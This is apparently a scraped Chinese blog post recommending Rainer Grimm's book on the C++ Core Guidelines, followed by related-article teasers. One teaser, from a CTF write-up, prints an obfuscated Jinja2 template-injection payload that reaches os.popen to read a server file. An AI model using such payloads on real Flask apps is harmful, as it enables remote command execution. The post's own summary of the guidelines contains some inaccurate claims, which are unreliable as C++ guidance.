C++ Core Guidelines解析 ( 好书推荐 )

news2024/11/29 4:34:12

C++ Core Guidelines是Bjarne和 Herb Sutter发起编写的一个开源项目,汇聚了 C++社区多年来积累的宝贵经验,是非常全面的编程最佳实践指导,包括代码风格、函数、类、错误处理、性能优化等,可以说是C++社区的集大成者。用Effective Modern C++的译者高博老师在《C++ Core Guidelines解析》推荐序中的话说,“学习C++而不了解 C++ Core Guidelines 相当于盲人摸象”。

前言

《C++ Core Guidelines解析》,书的译者以及推荐序都是鼎鼎有名的C++大师,比如活跃于知乎的C++大佬 @吴咏炜 ,比如张银奎先生,比如轮子哥。这强大的阵容以及书的名字,让人忍不住将它和《C++标准库》《C++ Primer》《C++编程思想》一块儿压在箱底。

C++ Core Guidelines详细阐述了Modern C++的编程思想,是C++创始人对C++代码编写的宏观指导,是一个语言级规范集合。内存(资源管理)、重载、模板……C++这门语言给了编程者极大的自由度,但如何编码实现,才更加高效、安全、规范?侯捷大师多次提到过“代码要大器、要有大家风范”,如何才能做到?这本书里给了很多建议,从接口、函数、类(层次结构)、枚举、表达式、模板、标准库,各个方面,C++ Core Guidelines给了详尽的规则指导和代码示例。

C++ Core Guidelines是 C++ 语言规范的补充,它提供了一系列关于编写高质量 C++ 代码的建议。这些建议涵盖了各种编程问题,包括内存管理、异常处理、类型安全、模板编程和泛型编程。 C++ Core Guidelines 由 C++ 标准委员会 (ISO/IEC JTC1/SC22/WG21) 维护,并由 C++ 社区的许多成员贡献。这些建议是经过广泛讨论和测试的,并且被认为是编写高质量 C++ 代码的最佳实践。

Core guidelines 的作者是 Bjarne Stroustrup,也即 C++ 的创始人,以及来自微软的 Herb Sutter,是标准会委员核心成员。C++ 专家讲师 Rainer Grimm提炼出了Core Guidelines中的精髓,去除了晦涩难懂的内容并出了本书,书的英文原名是《C++ Core Guidelines Explained: Best Practices for Modern C++》,by Rainer Grimm。

从 C++11 到最新的 C++23、C++2c,C++ 在不停引入新特性来提高语言的表达能力——但这不意味着语言更容易使用,因为为了尽可能维持与 C 的兼容性,大量旧的特性并没有积极地删除或弃用。因此,一个自称“C++ 程序员”的人,既可以紧跟标准版本,写出“good smell”的代码,也可以一直坚持 C 甚至 K & R C 的写法。显然后者并不是 C++ 设计者所期望的,因此他们起草这个小册子来告诉程序员们,C++ 应该如何使用,以利用 C++ 的所有现代的有用的特性。

我可以更激进地说,如果一个自称会 C++ 的人没有听说过 C++ Core Guidelines,那么我可以断定他在胡说八道。

github地址:CppCoreGuidelines/talks at master · isocpp/CppCoreGuidelines · GitHub

推荐理由

比如,我们常说尽量使用智能指针代替裸指针,从而避免内存的泄漏,但是这又造成另外一个问题一一智能指针的过度使用。C++ Core Guidelines中有这么一条建议——“对于一般用途,采用 T*或 T& 参数而不是智能指针”,因为智能指针关注所有权和生命周期,在不操作生命周期的函数中应该使用原始指针或引用。

C++ Core Guidelines 中有大量的建议是关于代码安全性的,例如使用条件变量的时候可能会发生虚假唤醒,应该使用谓词去 wait;全局的 lambda 不要按引用去捕获,以避免生命周期的问题;等等,这些对于实际的开发来说非常有指导价值。

除了规则和惯用法,C++ Core Guidelines 还会解释一些容易引起争论的话题。比如错误处理中的异常,Guidelines 中非常客观地描述了异常的应用场景,例如只有在能精确预测从throw 恢复的最长时间时,异常才适用于硬实时系统。此外,Guidelines 客观地提出,如果负担不起或者不喜欢基于异常的错误处理方式,那么也可以采取其他方案,但必须做充分的测试和测量,因为无论哪种错误处理方式都有其不同的复杂性和问题。

C++ Core Guidelines 比较好的一点是,它并不是教条地说要这样或者不要那样,而是会告诉你为什么这样更好,例比如为什么用std:array 而不是 C数组,因为 std:array 兼具了效率和安全性,访问越界的时候会抛异常,比 C 数组更安全。C++ Core guidelines的网址:https://github.com/isocpp/CppCoreGuidelines。 

这些准则旨在帮助开发者编写出可读性好、可维护性高、可靠性强的C++代码。  其中一些核心准则包括:  

1. 避免使用全局变量和静态变量,尽可能使用局部变量。

2. 使用引用传递函数参数,以减少函数调用开销。

3. 使用const修饰符来表示不会修改的变量,以增加代码的可读性。

4. 使用RAII技术来管理资源,以确保资源的释放。

5. 使用模板实现通用代码,以提高代码的重用性。

6. 避免使用多个返回值,可以使用对象组合来代替。

7. 使用异常处理来处理错误,以避免返回错误码。

8. 使用智能指针来管理动态对象,以避免内存泄漏。  这些准则的详细解释和用法可以在C++ Core Guidelines的官方文档中找到。遵循这些准则可以提高C++代码的质量和可维护性。

在《C++ Core Guidelines 解析》中,C++ 专家讲师 Rainer Grimm提炼出了Core Guidelines中的精髓,去除了晦涩难懂的内容,分享了新的见解和背景,并提供了自己培训课程中经过充分测试的示例。

对于使用 C++11 及后续版本 C++ 的有经验程序员,Grimm 能为他们提供帮助,使其用好Core Guidelines。他的大部分代码示例是为 C++17 编写的,在合适的地方涵盖了更新版本和 C++20,并提供了对官方 C++ Core Guidelines在线版本的引用。

无论你是创建新软件还是改进旧代码,Grimm 都将帮助你从Core Guidelines里最有用的规则中获取更多价值,使你编写的代码更安全、更清晰、更高效,以及更易于维护。

* 应用Core Guidelines和其中的编程哲学

* 正确使用接口、函数、类、枚举、资源、表达式和语句

* 优化性能,实现并发和并行,处理错误

* 有效地使用常量、不可变性、模板、泛型和元编程

* 改进C++ 代码风格,管理源文件,使用标准库

最后提示一下这本书的正确阅读姿势(摘自译者序):

  • 按本书附录 A 的线索,在工作和学习环境中启用相关的自动检查,马上开始在代码设计和审核流程中使用。

  • 花一两天的时间快速遍历 C++ Core Guidelines 的关键条目。该指南会一直动态更新,而本书提供了一个相对稳定的切片,更方便读者快速把握基本要点。

  • 当需要细究具体条目或某方面的规则时,比如在代码审核中对同一条目有理解不一致的地方时,仍要参考 C++ Core Guidelines 的英文原文。

  • C++ Core Guidelines 和本书并没有深入探讨条目背后的技术史和设计哲学。读者如果希望在这些方面进一步探究,可以参阅另一本“姊妹作品”Beautiful C++:30 Core Guidelines for Writing Clean, Safe, and Fast Code 及其作者 Kate Gregory女士在 CppCon 2017 的演讲,也可参考 C++ Core Guidelines 列出的参考文献。

  • C++ Core Guidelines 反映了 C++ 社区的公约数,但未必完美符合具体 C++ 团队在业务背景、技术选型和设计风格上的共识。读者在工程实践中,可以根据自己团队及项目的情况扩展或者改写某些条目,从而生成更适合自己和团队的技术指南。

其他资源

《C++ Core Guidelines 解析》 - 知乎

好书推荐:《C++核心指南解析》 - 知乎

C++ Tutorial (tutorialspoint.com)

【摘要】Cpp核心指南_cppcoreguidelines_Rilakkuma的博客-CSDN博客

https://www.eet-china.com/mp/a252711.html

《C++ Core Guidelines解析》:揭示现代C++最佳实践的深层原理_c++_热爱跑步的恒川-华为云开发者联盟

首页-第2学堂 

Yongwei’s Blog 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1300055.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

电脑主板支持的cpu型号汇总

一、如何选择不同的主板和对应CPU 1、看针脚:网上有相应的参数,只要CPU能安装到主板中,基本就兼容,这主要取决CPU插槽和主板插槽十分一致。 2、看型号:桌面处理器,只有Intel和AMD两大平台,他们对…

dToF直方图之美_deadtime死区时间

上节在激光雷达多目标测距中有个问题为什么激光雷达不用做pile up算法,有人会有疑问,我看过很多人的简历,都把pile up量产校正算法写为最为自豪重要的算法攻坚,可能会吸引一波人的眼球。这要是在两三年前是值得被肯定的,但是如今随着dToF非常多量产项目落地,pile up研究不…

【Hive】——安装部署

1 MetaData&#xff08;元数据&#xff09; 2 MetaStore &#xff08;元数据服务&#xff09; 3 MetaStore配置方式 3.1 内嵌模式 3.2 本地模式 3.3 远程模式 4 安装前准备 <!-- 整合hive --><property><name>hadoop.proxyuser.root.hosts</name><v…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

ETLCloud详解,如何实现最佳实践及问题排查

ETLCloud介绍 ETLCloud是新一代全域数据集成平台&#xff0c;领先于市场同类产品的数据集成平台(DataOps)&#xff0c;只需单击几下即可完成数据清洗转换、传输入仓等操作&#xff0c;具备高效、智能、一站式的全域数据集成优势&#xff0c;如&#xff1a; 毫秒级实时数据同步 …

MMLM之Gemini:《Introducing Gemini: our largest and most capable AI model》的翻译与解读

MMLM之Gemini&#xff1a;《Introducing Gemini: our largest and most capable AI model》的翻译与解读 导读&#xff1a;2023年12月6日&#xff0c;Google重磅发布大规模多模态模型Gemini&#xff0c;表示了Google语言模型发展到了一个新阶段&#xff0c;其多模态和通用能力明…

力扣1445 连续字符

目录 ​编辑 题目 示例 示例1 示例2 提示 详细解读 题目 给你一个字符串 s &#xff0c;字符串的「能量」定义为&#xff1a;只包含一种字符的最长非空子字符串的长度。 请你返回字符串 s 的 能量。 解题思路 这个问题的解法相对比较简单&#xff0c;可以通过遍历字…

int(1) 和 int(10) 的区别

int(1) 和 int(10) 的区别 最近遇到个问题&#xff0c;有个表的要加个user_id字段&#xff0c;user_id字段可能很大&#xff0c;于是我提mysql工单alter table xxx ADD user_id int(1)。领导看到我的sql工单&#xff0c;于是说&#xff1a;这int(1)怕是不够用吧&#xff0c;接…

Python finally-资源回收

有些时候&#xff0c;程序在 try 块里打开了一些物理资源&#xff08;例如数据库连接、网络连接和磁盘文件等&#xff09;&#xff0c;这些物理资源都必须被显式回收。 Python 的垃圾回收机制不会回收任何物理资源&#xff0c;只能回收内存中对象所占用的内存。 那么在哪里回收…

【智能家居】八、监控摄像采集、人脸识别比对进行开门功能点

一、使用 fswebcam 测试 USB 摄像头 二、根据demo来实现功能点 三、功能点编写编译运行实现 一、使用 fswebcam 测试 USB 摄像头 a. 安装 fswebcam orangepiorangepi:~$ sudo apt update orangepiorangepi:~$ sudo apt-get install -y fswebcamb. 安装完 fswebcam 后可以使用…

036.Python面向对象_self_cls_super

我 的 个 人 主 页&#xff1a;&#x1f449;&#x1f449; 失心疯的个人主页 &#x1f448;&#x1f448; 入 门 教 程 推 荐 &#xff1a;&#x1f449;&#x1f449; Python零基础入门教程合集 &#x1f448;&#x1f448; 虚 拟 环 境 搭 建 &#xff1a;&#x1f449;&…

AMC8美国数学竞赛历年真题集在线练习操作指南和2024年备考建议

今天是2023年12月10日&#xff0c;距离2024年的AMC8美国数学竞赛的举办还有40天时间。据六分成长了解&#xff0c;有一些孩子报名参加了AMC8的机构培训班系统学习&#xff0c;也有一些孩子选择了自己自学备考。 有家长问AMC8的培训是否一定要参加机构的培训班学习&#xff1f;…

Aho Corasick Algorithm

文章目录 前言介绍实现参考 前言 Aho Corasick Algorithm又叫AC自动机&#xff0c;该算法是一个匹配算法&#xff0c;用来匹配文本Text中多个patterns分别出现的次数&#xff1b; 我们定义n为patterns的总长度&#xff1b;m为Text的长度&#xff1b; 问题&#xff1a;在ahis…

C语言算法与数据结构,旅游景区地图求最短路径

背景&#xff1a; 本次作业要求完成一个编程项目。请虚构一张旅游景区地图&#xff0c;景区地图包括景点&#xff08;结点&#xff09;和道路&#xff08;边&#xff09;&#xff1a;地图上用字母标注出一些点&#xff0c;表示景点&#xff08;比如&#xff0c;以点 A、B、C、…

【C语言】字符串函数strcpystrcatstrcmpstrstr的使⽤和模拟实现

&#x1f308;write in front :&#x1f50d;个人主页 &#xff1a; 啊森要自信的主页 ✏️真正相信奇迹的家伙&#xff0c;本身和奇迹一样了不起啊&#xff01; 欢迎大家关注&#x1f50d;点赞&#x1f44d;收藏⭐️留言&#x1f4dd;>希望看完我的文章对你有小小的帮助&am…

聚类算法的性能度量

聚类算法的性能度量 聚类算法就是根据数据中样本与样本之间的距离或相似度&#xff0c;将样本划分为若干组&#xff0f;类&#xff0f;簇&#xff0c;其划分的原则&#xff1a;簇内样本相似、簇间样本不相似&#xff0c;聚类的结果是产生一个簇的集合。 其划分方式主要分为两…

前后端联调神器《OpenAPI-Codegen》

在后端开发完接口之后&#xff0c;前端如果再去写一遍接口来联调的话&#xff0c;会很浪费时间&#xff0c;这个时候使用OpenAPI接口文档来生成Axios接口代码的话&#xff0c;会大大提高我们的开发效率。 Axios引入 Axios是一个基于Promise的HTTP客户端&#xff0c;用于浏览器…

leetcode每日一题39

122.买卖股票的最佳时机II 确定dp数组&#xff08;dp table&#xff09;以及下标的含义 dp[i][j] j0 不持有股票 j1持有股票 i&#xff1a;第i天 dp[i][j]&#xff1a;第i天&#xff0c;持有状态为j时的最大现金确定递推公式 dp[i][0]max(dp[i-1][0], dp[i-1][1]prices[i]); 第…

Linux权限(用户角色+文件权限属性)

Linux权限 文章目录 Linux权限一.文件权限1.快速掌握修改权限的方法&#xff08;修改文件权限属性&#xff09;2.对比权限的有无&#xff0c;以及具体的体现3.修改权限的第二套方法&#xff08;修改用户角色&#xff09;4.文件类型&#xff08;Linux下一切皆文件&#xff09; 二…

编辑拒稿理由是重复率高

大家好&#xff0c;今天来聊聊编辑拒稿理由是重复率高&#xff0c;希望能给大家提供一点参考。 以下是针对论文重复率高的情况&#xff0c;提供一些修改建议和技巧&#xff1a; 编辑拒稿理由是重复率高 当作者提交论文到学术期刊后&#xff0c;编辑会对论文进行审核小发猫写作…